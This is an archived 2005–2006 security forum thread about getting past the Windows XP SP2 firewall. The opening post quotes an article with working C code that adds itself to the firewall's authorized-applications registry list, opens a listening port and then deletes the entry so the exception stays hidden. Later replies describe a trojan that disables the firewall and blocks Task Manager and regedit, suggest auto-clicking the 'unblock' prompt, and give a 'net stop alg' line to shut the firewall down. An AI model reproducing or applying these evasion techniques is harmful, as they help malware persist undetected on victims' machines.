Clan x86

Technical (Development, Security, etc.) => General Security Information => Topic started by: iago on September 08, 2005, 09:49:41 am

Title: SP2 Firewall
Post by: iago on September 08, 2005, 09:49:41 am
This article is about how to open up a listening port from Windows XP SP2 without being logged/listed as open:

Quote
1.9.2005
Mark Kica
crusoe@alexandria.cc
FEI AI Technical University Kosice   
#Dedicated to Katka H. from Levoca



     How to avoid of detection of server application on Windows XP SP2 firewall

###############################################################################
#Q:How safe is Windows XP SP2 firewall ?
#A:Not very...

 This trick use only modification of registry keys.Windows Xp SP2 firewall have
list of allowed program in register which are not blocked.If you add new key
to it,your server (malware or trojane) can run freely.

also server can be invisible in following list 

start->control panel->windows firewall->exceptions


It will become invisible from this list because after you create socket,you can remove registry string value of your server and connection wont be aborted

Other way how to bypass SP2 firewall ,is to create trojan not as server,but
as client.

##################################################################

http://taekwondo-itf.szm.sk/bugg.zip

Test :

#c:\bugg.exe          Server running on port 2001

connect to server with :

#telnet localhost 2001



##################################################################

Our Registry path is

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List


and there you can create string value

Value name                    Value           

C:\chat.exe  ........ C:\chat.exe:*:Enabled:chat


NO SPACES!!! in key name etc.  _C:\chat.exe___

#################################################################
Tested on Windows XP 2005 center media edition with integrated SP2

Source code
(server use ezsocket lib)

#include <stdio.h>
#include <windows.h>
#include <ezsocket.h>
#include <conio.h>
#include "Shlwapi.h"

int main( int argc, char *argv [] )
    {
    char buffer[1024];
    char filename[1024];

    HKEY hKey;
    int i;

    GetModuleFileName(NULL, filename, 1024);

    strcpy(buffer, filename);
    strcat(buffer, ":*:Enabled:");
    strcat(buffer, "bugg");

    RegOpenKeyEx(

       HKEY_LOCAL_MACHINE,
       "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",
       0,
       KEY_ALL_ACCESS,
       &hKey);

    RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
   
    int temp, sockfd, new_fd, fd_size;
    struct sockaddr_in remote_addr;

    fprintf(stdout, "Simple server example with Anti SP2 firewall trick    \n");
    fprintf(stdout, "             This is not trojan                       \n");
    fprintf(stdout, "             Opened port is :2001                      \n");
    fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
    fprintf(stdout, "Dedicated to Katka H. from Levoca                       \n");


    sleep(3);

    if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
        return 0;
       

    for (; ; )
        {
        RegDeleteValue(hKey, filename); 
          fd_size = sizeof(struct sockaddr_in);

        if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
            {
            perror("accept");
            continue;
            }
        temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
        fprintf(stdout, "Sended: Hello World\r\n");
        temp = recv(new_fd, buffer, 1024, 0);
        buffer[temp] = '\0';
        fprintf(stdout, "Recieved: %s\r\n", buffer);
        ezclose_socket(new_fd);
        RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

        if (!strcmp(buffer, "quit"))
            break;
        }


    ezsocket_exit();
   return 0;
    }
 
Title: Re: SP2 Firewall
Post by: Quik on September 08, 2005, 07:00:56 pm
Thanks, was looking for some information on SP2's firewall recently.
Title: Re: SP2 Firewall
Post by: Joe on September 11, 2005, 04:57:38 am
Heh, I wouldn't trust the XP firewall anymore than my headphones, even before this.
Title: re
Post by: Koga73 on September 14, 2005, 10:32:51 pm
i made a trojan, and to prevent the xp sp2 firewall from doing anything... i just blocked the window name "windows security alert" so it wont display that stupid mesasage. Along with that, when the trojan is installed, it disables the firewall, and adds itself to the allowed programs list (registry). The application blocker of my trojan i have set by default to block task manager, msconfig, regedit, and windows security alert. So, once its on, its not ez to get off :). And the user can add there own blocks if they want.
Title: Re: SP2 Firewall
Post by: Newby on September 14, 2005, 11:24:23 pm
Uh, it will not display the message, but I'm guessing that it will still block access.

You should set a loop to detect for that window to pop up, and when it does, find the button that says "unblock" and unblock your program from accessing the internet.
Title: Re: re
Post by: Sidoh on September 15, 2005, 12:53:40 am
i made a trojan, and to prevent the xp sp2 firewall from doing anything... i just blocked the window name "windows security alert" so it wont display that stupid mesasage. Along with that, when the trojan is installed, it disables the firewall, and adds itself to the allowed programs list (registry). The application blocker of my trojan i have set by default to block task manager, msconfig, regedit, and windows security alert. So, once its on, its not ez to get off :). And the user can add there own blocks if they want.

How incredibly annoying.  People who program maliciously suck at life.
Title: Re: SP2 Firewall
Post by: Koga73 on September 15, 2005, 04:20:12 pm
when the window closes, it doenst block it, or permantly allow it. Just allows it that time, and next time itll ask u again.
Title: Re: SP2 Firewall
Post by: Joe on September 15, 2005, 10:48:06 pm
Koga, waste your time on something better. The Windows firewall doesn't do anything even if you leave it alone.
Title: Re: SP2 Firewall
Post by: Screenor on September 18, 2005, 04:01:06 am
Koga, waste your time on something better. The Windows firewall doesn't do anything even if you leave it alone.
Seriously, other then not letting you host games on B.net it's really got no purpose.
Title: Re: SP2 Firewall
Post by: iago on September 18, 2005, 10:04:42 am
It blocks incoming traffic.  That will stop a lot of attacks, such as:
MS03-026 (Dcom -- Blaster worm)
MS04-011 (Lsass -- Sasser worm)
MS05-039 (PnP -- Zotob worm)
and many others. 

It's useful for preventing incoming attcks, like worms, but isn't terribly useful for blocking outbound traffic. 
Title: Re: SP2 Firewall
Post by: drka on September 25, 2005, 08:28:15 pm
Windows Vista is supposed to have its firewall upgraded so that it does
Title: Re: SP2 Firewall
Post by: Quik on September 25, 2005, 08:43:47 pm
Windows Vista is supposed to have its firewall upgraded so that it does

It does what? A dance? Blocks Sasser? Damn, it better.
Title: Re: SP2 Firewall
Post by: drka on September 25, 2005, 08:47:31 pm
blocking outgoing connections and maybe will fix the issue where malware can disable it
Title: Re: SP2 Firewall
Post by: iago on September 25, 2005, 09:49:06 pm
blocking outgoing connections and maybe will fix the issue where malware can disable it

As long as the user can disable it without a password, so can viruses.  And people don't like having to put in a password, so that probably won't change. 
Title: Re: SP2 Firewall
Post by: ink on February 14, 2006, 03:05:10 pm
XP firewall is easily disabled w/ a archivirus (sfx scripting)
all you have to do is set it to run this before extraction:

C:\Windows\system32\net.exe stop alg

This command will shutdown the "Application Layer Gateway Service" which is responsibly for correct functionality of the firewall.
Title: Re: SP2 Firewall
Post by: Eric on February 14, 2006, 04:10:00 pm
and requires administrative access.
Title: Re: SP2 Firewall
Post by: ink on February 14, 2006, 04:15:07 pm
Mhm, I'm not a fan of this anyways since it makes it somewhat obvious that the system is compromised, just an example.
Title: Re: SP2 Firewall
Post by: Berzerker on February 15, 2006, 07:31:23 pm
Windows Vista is supposed to have its firewall upgraded so that it does
Isn't Vista just supposed to come with Windows One Care?
Title: Re: SP2 Firewall
Post by: Warrior on February 19, 2006, 01:15:38 pm
One Care is for live.com, Vista comes with Windows Defender (Formerly Windows Anti-Spyware Beta2)
Title: Re: SP2 Firewall
Post by: deadly7 on February 19, 2006, 04:10:59 pm
One Care is for live.com, Vista comes with Windows Defender (Formerly Windows Anti-Spyware Beta2)
The "Anti-Spyware" that teamed up with Gator?
Title: Re: SP2 Firewall
Post by: Warrior on February 20, 2006, 06:23:10 am
You mean bought out? Check Defender, it detects and removes it if it is even present. I really don't know why you even start with this *shrug*